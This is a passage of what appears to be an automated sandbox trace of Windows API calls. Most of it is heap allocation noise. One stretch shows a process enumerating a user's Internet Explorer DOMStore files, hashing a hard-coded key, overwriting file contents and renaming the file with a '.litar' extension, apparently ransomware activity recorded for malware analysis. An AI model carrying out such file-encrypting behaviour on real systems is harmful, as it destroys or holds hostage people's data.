0x3020c00 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.981] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.981] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.982] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.982] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.983] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.983] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\") returned="3O75JDME\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xb0) returned 0x300e7d8 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xa0) returned 0x6bcf18 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e7d8 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a07c8 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6bcf18 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a07c8 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.984] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0127.984] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.984] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.985] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.985] PathFindFileNameW (pszPath="") returned="" [0127.985] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.985] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.986] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 1 [0127.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.986] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11e) returned 0x6aef38 [0127.986] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.986] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml") returned=".xml" [0127.986] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0127.987] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=13) returned 1 [0127.987] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0127.989] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0127.989] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0xd, lpOverlapped=0x0) returned 1 [0127.990] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.990] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0127.990] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.990] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0127.990] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a07c8) returned 1 [0127.991] CryptCreateHash (in: hProv=0x6a07c8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0127.991] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0127.991] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0127.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0127.991] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0127.991] GetLastError () returned 0x0 [0127.991] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0127.991] CryptReleaseContext (hProv=0x6a07c8, dwFlags=0x0) returned 1 [0127.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0127.991] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0127.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0127.991] WriteFile (in: hFile=0x624, lpBuffer=0x398fb34*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x398fb24, lpOverlapped=0x0 | out: lpBuffer=0x398fb34*, lpNumberOfBytesWritten=0x398fb24*=0x8, lpOverlapped=0x0) returned 1 [0127.991] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x60) returned 0x2f8edc0 [0127.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x428) returned 0x30557d8 [0127.991] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", cchWideChar=-1, lpMultiByteStr=0x30557d8, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="u2rbnKKMcNOTbU3SJ5PNywya5qp8ZsCNiQec0IOf", lpUsedDefaultChar=0x0) returned 41 [0127.991] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x430) returned 0x30fa0b0 [0127.991] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30557d8 | out: hHeap=0x5c0000) returned 1 [0127.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x2f8edc0 | out: hHeap=0x5c0000) returned 1 [0127.992] WriteFile (in: hFile=0x624, lpBuffer=0x30fa0b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x30fa0b0*, lpNumberOfBytesWritten=0x398fb2c*=0x28, lpOverlapped=0x0) returned 1 [0127.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.992] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.992] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x398fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x398fb2c*=0x26, lpOverlapped=0x0) returned 1 [0127.992] CloseHandle (hObject=0x624) returned 1 [0127.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xe0) returned 0x3071b70 [0127.992] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x8f0) returned 0x30fa0b0 [0127.992] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3071b70 | out: hHeap=0x5c0000) returned 1 [0127.992] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\3O75JDME\\www.google[1].xml.litar" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\3o75jdme\\www.google[1].xml.litar")) returned 1 [0127.993] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30fa0b0 | out: hHeap=0x5c0000) returned 1 [0127.993] VirtualFree (lpAddress=0x1f30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6aef38 | out: hHeap=0x5c0000) returned 1 [0127.994] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0127.994] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020cc8 | out: hHeap=0x5c0000) returned 1 [0127.994] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020cc8 [0127.994] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.994] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.994] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc2e) returned 0x30f90a8 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.995] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.995] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0127.996] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3020c00 | out: hHeap=0x5c0000) returned 1 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc0) returned 0x3020c00 [0127.996] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, 